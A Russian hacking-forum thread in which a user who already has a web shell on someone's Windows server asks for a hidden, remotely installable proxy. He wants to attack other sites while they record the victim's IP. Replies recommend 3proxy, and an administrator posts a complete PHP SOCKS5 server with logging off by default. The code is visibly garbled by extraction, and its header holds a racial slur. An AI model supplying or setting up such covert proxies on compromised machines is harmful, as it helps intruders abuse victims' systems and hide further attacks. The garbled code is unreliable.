Proxy for Windows, heed help

Discussion in 'Безопасность и Анонимность' started by Roman.K, 12 Jul 2007.

  1. Roman.K

    Roman.K New Member

    Joined:
    7 Jul 2007
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Здравствуйте.
    Прошу заранее прощения, если не нашел уже в существующих темах ответ на мой вопрос, но искал изо всех сил:)
    Вопрос заключается в следующем: имеется тачка, на которой крутится какой-то захудалый сайт, естессно дырявый, на который уже залит шелл; логи не ведутся. Тачка под виндой, тоесть каждый день на неё садится Вася и работает. Хочется использовать в своих целях. Нужен прокси-сервер, только для брожения по другим сайтам и тестировании их на прочность и т.д. Естессно на сайтах должен оставаться ип похаканной тачки:) Подскажите, что для этих целей подойдет? Нужно что-то такое, что не будет светиться в трее или еще где, маленький такой проксик:) И как всё это дело собрать удалённо?

    Заранее огромное спасибо за помощь!
     
  2. MstDoc

    MstDoc Elder - Старейшина

    Joined:
    6 Jan 2007
    Messages:
    58
    Likes Received:
    15
    Reputations:
    19
    3proxy.
    Все настройки в конфиг. файле. По-моему одна из лучших.
     
    1 person likes this.
  3. Roman.K

    Roman.K New Member

    Joined:
    7 Jul 2007
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Спасибо, попробуем :)
     
  4. ettee

    ettee Administrator
    Staff Member

    Joined:
    12 Oct 2006
    Messages:
    466
    Likes Received:
    1,036
    Reputations:
    1,065
    /usr/bin/php /~path~/socks5.php
    PHP:
    <?
    #########################################################################################
    #                 Antichat Socks5 Server v 1.0                #
    #########################################################################################
    #                                                          ____________________________ #
    #   Features:                          |                             #
    #                                             |   written by Zadoxlik       #
    #   [+] LOGIN/PASSWORD authorization                      |   zаdoxlik@antichat[dот]ru  #
    #   [-] Any other authorization type                      |   icq: 511501            #
    #   [+] Threads                                           |   www.zadoxlik.info         #
    #   [+] CONNECT method                                    |   www.antichat.ru           #
    #   [-] BIND method                                       |____________________________ #
    #   [-] UDP ASSOCIATE method                                #
    #   [+] Unix platform                                    #
    #   [+] Windows platform                                                                #
    #   [+] Ipv4 address type                                                               #
    #   [+] Domain name address type                                                        #
    #   [-]    Ipv6 address type                                            #
    #                                                                                       #
    # Documents                                                                             #
    #                                                                                       #
    # ftp://ftp.rfc-editor.org/in-notes/rfc1928.txt                                         #
    # ftp://ftp.rfc-editor.org/in-notes/rfc1929.txt                                         #
    #                                                                         #
    #                                                                                       #
    #########################################################################################
    # Cool niggas are FUF, SkvoznoY, KEZ, ZaCo, Egorich and all my friends    =)        #
    #########################################################################################
    /*-------------------------------------------------------------------------------------*\
    |                              S E T T I N G S                                           |
    \*-------------------------------------------------------------------------------------*/

    $settings    = array('PORT'            => 4000,
                
    'AUTH'            => 0,
                
    'STOPFILE'        => 'stop.txt',    // create this file
                                    // to stop the server
                
    'LOGIN'            => 'someshit',    // if AUTH == 1
                
    'PASSWORD'        => '666',    // if AUTH == 1
                
    'MAX_CONNECTIONS'    => 5,
                
    'LOG_FILE'        => -1,        // if -1 - no logs
                
    'AUTH_TIMEOUT'        => 60,        // sec
                
    'CONNECT_TIMEOUT'    => 5,        // Timeout for connection
                                    // to remote server (sec)
                   
    );
    // Remote hosts, which are not supported for working with
    $blocked_hosts  = array('81.177.6.78',
                
    '88.212.221.34',

                   );
    // Client hosts, which are not supported for working with (banned)
    $blocked_users  = array('127.0.0.2'
                   
    );
    /*-------------------------------------------------------------------------------------*/

    set_time_limit(0) OR DIE('set_time_limit(0) failed');
    error_reporting(0);

    /*-------------------------------------------------------------------------------------*\
    |                               D E F I N I T I O N S                                        |
    \*-------------------------------------------------------------------------------------*/
    DEFINE('VER',            "\x05");
    DEFINE('CONNECT',        "\x01");
    DEFINE('AUTH_METHOD',        "\x02");
    DEFINE('AUTH_NOT_REQ',        "\x00");
    DEFINE('WRONG_AUTH_METHODS',    "\xFF");
    DEFINE('REP_SUCCESS',        "\x00");
    DEFINE('REP_WRONG_COMMAND',    "\x07");
    DEFINE('REP_SOCKS_ERROR',    "\x01");
    DEFINE('REP_BLOCKED_HOST',    "\x02");
    DEFINE('REP_BAD_HOST',        "\x04");
    DEFINE('IPv4',            "\x01");
    DEFINE('DOMAIN',        "\x03");
    DEFINE('CLOSED_SOCKET',        -12);
    DEFINE('NO_DATA',        -11);
    DEFINE('NOT_ALL_DATA',        -10);
    DEFINE('STATUS_RECVSTARTREQ',    -9);
    DEFINE('STATUS_RECVAUTHREQ',    -8);
    DEFINE('STATUS_REQUESTRECV',    -7);
    DEFINE('STATUS_CONNECTING',    -6);
    DEFINE('STATUS_WORKING',    -5);

    /*-------------------------------------------------------------------------------------*/
    $clientsockets    = array();
    $serversockets    = array();
    $recvdata    = array();
    $sockets_status    = array();
    $timeout        = array();
    $reqmessage     = array();
    $ipport        = array();
    /*-------------------------------------------------------------------------------------*\
    |                               F U N C T I O N S                                        |
    \*-------------------------------------------------------------------------------------*/
    function getstring(&$s$len 1){

            if(@(
    $message socket_recv($s, &$com$len0)) === 0)
            return 
    CLOSED_SOCKET;
        elseif(
    $message === FALSE)
            return 
    NO_DATA;
        else
            return 
    $com;

    }

    function 
    sendstring(&$s$mess){
        return 
    socket_write($s,  $messstrlen($mess));
    }

    function 
    BridgeEstablish2($id){
        global    
    $serversockets$clientsockets$sockets_status$settings$reqmessage,
            
    $timeout$ipport;
        
    sendstring($clientsockets[$id],    VER.REP_SUCCESS."\x00\x01".$ipport[$id]);
        
    $sockets_status[$id] = STATUS_WORKING;
        
    }

    function 
    BridgeEstablish1($id){
        global    
    $serversockets$clientsockets$sockets_status$settings$reqmessage,
            
    $timeout$blocked_hosts$ipport;
        
    $message '';
        if((
    $message getstring($clientsockets[$id], 100)) === CLOSED_SOCKET){
            
    close($id);
            return 
    CLOSED_SOCKET;
        }
        elseif(
    $message === NO_DATA)
            return 
    NOT_ALL_DATA;
            @
    $reqmessage[$id] .= $message;
            
    // Checking the packet
            
    if($reqmessage[$id][0] !== VER){
            
    close($id);
            return 
    CLOSED_SOCKET;
        }

        if(!isset(
    $reqmessage[$id][1]))
            return 
    NOT_ALL_DATA;
        if(
    $reqmessage[$id][1] !== CONNECT)
        {
                
    socket_getsockname ($clientsockets[$id], $addr$port);
            
    $addr explode('.'$addr);
            for(
    $i 0$i 4$i++)
                
    $addr[$i] = chr($addr[$i]);
            
    $addr implode(''$addr);
                
    sendstring($clientsockets[$id],    VER.REP_WRONG_COMMAND."\x00\x01\x00".
            
    "\x00\x00\x00\x00\x00");
            
    close($id);
            return 
    CLOSED_SOCKET;
        }
        if(!isset(
    $reqmessage[$id][2]))
            return 
    NOT_ALL_DATA;
        if(
    $reqmessage[$id][2] !== "\x00")
        {
            
    close($id);
            return 
    CLOSED_SOCKET;
        }

        if(!isset(
    $reqmessage[$id][3]))
            return 
    NOT_ALL_DATA;

        if(
    $reqmessage[$id][3] !== DOMAIN && $reqmessage[$id][3] !== IPv4)
        {
            
    close($id);
            return 
    CLOSED_SOCKET;
        }
        if(!isset(
    $reqmessage[$id][4]))
            return 
    NOT_ALL_DATA;
        if(
    $reqmessage[$id][3] === DOMAIN){
            
    $reqlen ord($reqmessage[$id][4])+1;
            if(!isset(
    $reqmessage[$id][3+$reqlen]))
                return 
    NOT_ALL_DATA;
            
    $host substr($reqmessage[$id], 5$reqlen-1);

        }
        else{ 
    // IP v4
            
    $reqlen 4;
             if(!isset(
    $reqmessage[$id][3+$reqlen]))
                return 
    NOT_ALL_DATA;
                    
    $host base_convert(bin2hex($reqmessage[$id][4]), 1610).'.'.
                
    base_convert(bin2hex($reqmessage[$id][5]), 1610).'.'.
                
    base_convert(bin2hex($reqmessage[$id][6]), 1610).'.'.
                
    base_convert(bin2hex($reqmessage[$id][7]), 1610);
        }
        if(!isset(
    $reqmessage[$id][3+$reqlen+2]))
            return 
    NOT_ALL_DATA;
        
    socket_getsockname ($clientsockets[$id], $self_addr$self_port);

        
    $self_addr explode('.'$self_addr);
        for(
    $i 0$i 4$i++)
            
    $self_addr[$i] = chr($self_addr[$i]);
        
    $self_add    implode(''$self_addr);
        
    $self_port    pack('n'$self_port);
        
    $ipport[$id]    = $self_add.$self_port;
        
        if(
    in_array($host$blocked_hosts)){
            
                
    sendstring($clientsockets[$id],    VER.REP_BLOCKED_HOST."\x00\x01".$ipport[$id]);
            
    close($id);
            return 
    CLOSED_SOCKET;
        }
        
    $port base_convert(bin2hex(substr($reqmessage[$id], 3+$reqlen+12)), 1610);
        
    // Connection to remote host
        
        
    $serversockets[$id]    = socket_create(AF_INETSOCK_STREAM/* TCP*/);
        if(
    $serversockets[$id]    === FALSE){
            
                
    sendstring($clientsockets[$id],    VER.REP_SOCKS_ERROR."\x00\x01".$ipport[$id]);
            
    close($id);
            return 
    CLOSED_SOCKET;
        }
        
    socket_set_nonblock($serversockets[$id]);
        
    //echo $host.':'.$port;
        
    socket_connect($serversockets[$id], $host$port);
        unset(
    $reqmessage[$id]);
        
    $sockets_status[$id] = STATUS_CONNECTING;
        
    }

    function 
    Authorization($id){
        global    
    $serversockets$clientsockets$sockets_status$settings$reqmessage,
            
    $timeout;
        
    $message '';
        if((
    $message getstring($clientsockets[$id], 100)) === CLOSED_SOCKET){
            
    close($id);
            return 
    CLOSED_SOCKET;
        }
        elseif(
    $message === NO_DATA)
            return 
    NOT_ALL_DATA;
        @
    $reqmessage[$id] .= $message;
        if(
    $reqmessage[$id][0] != "\x01"){
            
    close($id);
            return 
    CLOSED_SOCKET;
        }
        if(!isset(
    $reqmessage[$id][1]))
            return 
    NOT_ALL_DATA;

        
    $pos    ord($reqmessage[$id][1])+2;
        if(!isset(
    $reqmessage[$id][$pos]))
            return 
    NOT_ALL_DATA;
        if(!isset(
    $reqmessage[$id][$pos+ord($reqmessage[$id][$pos])]))
            return 
    NOT_ALL_DATA;

        
    // Authorization
        
    if($settings['LOGIN']     === substr($reqmessage[$id], 2ord($reqmessage[$id][1]))
        && 
    $settings['PASSWORD'] === substr($reqmessage[$id], $pos+1,
        
    ord($reqmessage[$id][$pos])))
        {
                
    $timeout[$id]        = time();
            unset(
    $reqmessage[$id]);
            
    $sockets_status[$id]    = STATUS_REQUESTRECV;
            
    sendstring($clientsockets[$id],    "\x01\x00");
        }
        else{
            
    sendstring($clientsockets[$id],    "\x01\x01");
            
    close($id);
        }

    }

    function 
    close($id){
        global    
    $serversockets$clientsockets$sockets_status$settings$reqmessage,
            
    $timeout$ipport;
            
    socket_getpeername($clientsockets[$id], $ip);
        @
    socket_close($clientsockets[$id]);
            unset(
    $clientsockets[$id]);
        @
    socket_close($serversockets[$id]);
        unset(
    $serversockets[$id]);
        unset(
    $sockets_status[$id]);
        unset(
    $timeout[$id]);
        unset(
    $ipport[$id]);
        
        
    makelog($ip.' disconnected.');
    }

    function 
    Start($id){
        global    
    $serversockets$clientsockets$sockets_status$settings$reqmessage,
            
    $timeout;
        
    $message '';
        if((
    $message getstring($clientsockets[$id], 10)) === CLOSED_SOCKET){
            
    close($id);
            return 
    CLOSED_SOCKET;
        }
        
        elseif(
    $message === NO_DATA)
            return 
    NOT_ALL_DATA;
            @
    $reqmessage[$id] .= $message;
            
    // Checking the packet
            
    if($reqmessage[$id][0] !== VER){
            
    close($id);
            return 
    CLOSED_SOCKET;
        }

        if(!isset(
    $reqmessage[$id][1]))
            return 
    NOT_ALL_DATA;

        if(
    ord($reqmessage[$id][1]) > strlen($reqmessage[$id]) - 2)
            return 
    NOT_ALL_DATA;
        elseif(
    ord($reqmessage[$id][1]) === strlen($reqmessage[$id]) - 2){
            if(
    $settings['AUTH'] !== 1){
                
    sendstring($clientsockets[$id],    VER.AUTH_NOT_REQ);
                unset(
    $reqmessage[$id]);
                
    $sockets_status[$id]    = STATUS_REQUESTRECV;
                
    $timeout[$id]           = time();
                return 
    0;
            }
        
            if(
    strstr(substr($reqmessage[$id], 2ord($reqmessage[$id][1])), AUTH_METHOD))
            {
                    
    $timeout[$id]        = time();
                
    $sockets_status[$id]    = STATUS_RECVAUTHREQ;
                
    sendstring($clientsockets[$id],    VER.AUTH_METHOD);
                unset(
    $reqmessage[$id]);
                return 
    0;
            }
            else{
                
    sendstring($clientsockets[$id],    VER.WRONG_AUTH_METHODS);
                return 
    0;
                
    close($id);
                return 
    CLOSED_SOCKET;
            }
            
    $sockets_status[$id] = STATUS_REQUEST;
            return 
    0;
        }
        else{
            
    close($id);
            
            return 
    CLOSED_SOCKET;
        }
    }

    function 
    one_array($f$s){
        
    $new_array = array();
        foreach(
    $f as $elt)
            if(!
    in_array($elt$s))
                
    array_push($new_array$elt);
        return 
    array_merge_recursive($new_array$s);

    }

    function 
    makelog($string){
        global 
    $settings;
        if(
    $settings['LOG_FILE'] == -1)
            return 
    FALSE;
        
    $fp fopen($settings['LOG_FILE'], 'a');
        
    fputs($fpdate("d.m.Y. H:i:s").'  '.$string."\r\n".
        
    "---------------------------------------------------------\r\n");
        
    fclose($fp);
    }

    function 
    stop(){
        global    
    $serversockets$clientsockets$sockets_status$settings$reqmessage,
            
    $timeout;
        for(
    $i 0$i sizeof($clientsockets); $i++)
            
    close($i);
        
    makelog('Finish!: '.$string);
        DIE();
    }

    function 
    error($string){
        
    makelog('<<ERROR>>: '.$string);
        
    stop();
        DIE();
    }
    /*-------------------------------------------------------------------------------------*/

    /*-------------------------------------------------------------------------------------*\
    |                               P R O G R A M M                                        |
    \*-------------------------------------------------------------------------------------*/

    $sock =    socket_create(AF_INETSOCK_STREAM/* TCP*/) OR
        DIE(
    socket_strerror(socket_last_error()));
    if(!
    socket_bind($sock,  "0.0.0.0"$settings['PORT']))
        
    error(socket_strerror(socket_last_error($sock)));

    if(!
    socket_listen ($sock))
        
    error(socket_strerror(socket_last_error($sock)));
    socket_set_nonblock($sock);
    $maxcount    $settings['MAX_CONNECTIONS'] + 1;
    $sock        = array($sock);

    while(
    TRUE){

        
    $readed $wr array_merge($sock$clientsockets);
        if(
    socket_select($readed$wr$exc NULL7) < 1){
               
               if(
    file_exists($settings['STOPFILE']))
                    
    stop();
               continue;
        }
        if (
    in_array($sock[0], $readed)){
              
    $clientsockets[] = ($cl_sock socket_accept($sock[0]));
              
    socket_getpeername($cl_sock$ip);
              
    makelog($ip.' connected to server.');
            
    $id array_search($cl_sock$clientsockets);
            if(
    count($clientsockets) >= $maxcount){
                
    socket_close($cl_sock);
                unset(
    $clientsockets[$id]);
                
    makelog('Connection with '.$ip.' has been aborted by server. '.
                
    'Reason: too many connections.');
            }
            elseif(
    in_array($ip$blocked_users)){
                
    socket_close($newsock);
                unset(
    $clientsockets[$id]);
                
    makelog('Connection with '.$ip.' has been aborted by server. '.
                
    'Reason: banned user.');
            }
            else{
                        
    socket_set_nonblock($cl_sock);
                        
    $sockets_status[$id] = STATUS_RECVSTARTREQ;
            }

            
    $key array_search($sock[0], $readed);
            unset(
    $readed[$key]);
        }
        
    $array_status one_array($readed$wr);
        foreach(
    $array_status as $socket){
            
    $id array_search($socket$clientsockets);
            if(
    $id === FALSE)
                
    $id array_search($socket$serversockets);
            if(
    $id === FALSE)
                continue;
            switch (
    $sockets_status[$id]){
                 case 
    STATUS_RECVAUTHREQ:
                         if(
    time() - $timeout[$id] > $settings['AUTH_TIMEOUT'])
                    {       
    //echo 'aaaaa';
                         
    close($id);
                         break;
                    }
                    
    Authorization($id);
                break;
                 case 
    STATUS_REQUESTRECV:

                    
    BridgeEstablish1($id);
                break;
                case 
    STATUS_RECVSTARTREQ:
                    
    Start($id);
                        
                break;
                case 
    STATUS_CONNECTING:
                    
                    if(
    time() - $timeout[$id] > $settings['CONNECT_TIMEOUT'])
                    {
                        
    sendstring($clientsockets[$id],    VER.REP_BAD_HOST.
                        
    "\x00\x01".$ipport[$id]);
                        
    close($id);
                         break;
                    }
                    
    // checkin remote host
                    
    $exr $ewr = array($serversockets[$id]);
                    if(
    socket_select($exr$ewr$exc NULL0) > 0)
                         
    BridgeEstablish2($id);
                break;
                default: 
    // STATUS_WORKING
                        
    $mesgetstring($clientsockets[$id], 8024);
                                    if(
    $mes === CLOSED_SOCKET){
                        
    close($id);
                        break;
                    }
                    if(
    $mes !== NO_DATA)
                    if(
    sendstring($serversockets[$id], $mes) === FALSE){
                        
    close($id);
                        break;
                    }
                                    
    $mes getstring($serversockets[$id], 8024);
                                    if(
    $mes === CLOSED_SOCKET){
                        
    close($id);
                        break;
                    }
                    if(
    $mes !== NO_DATA)
                    if(
    sendstring($clientsockets[$id], $mes) === FALSE){
                        
    close($id);
                        break;
                    }
                }
                    



        }
        if(
    rand(1,5) == 5)
            if(
    file_exists($settings['STOPFILE']))
                
    stop();
    }

    /*-------------------------------------------------------------------------------------*/
    ?>
     
    _________________________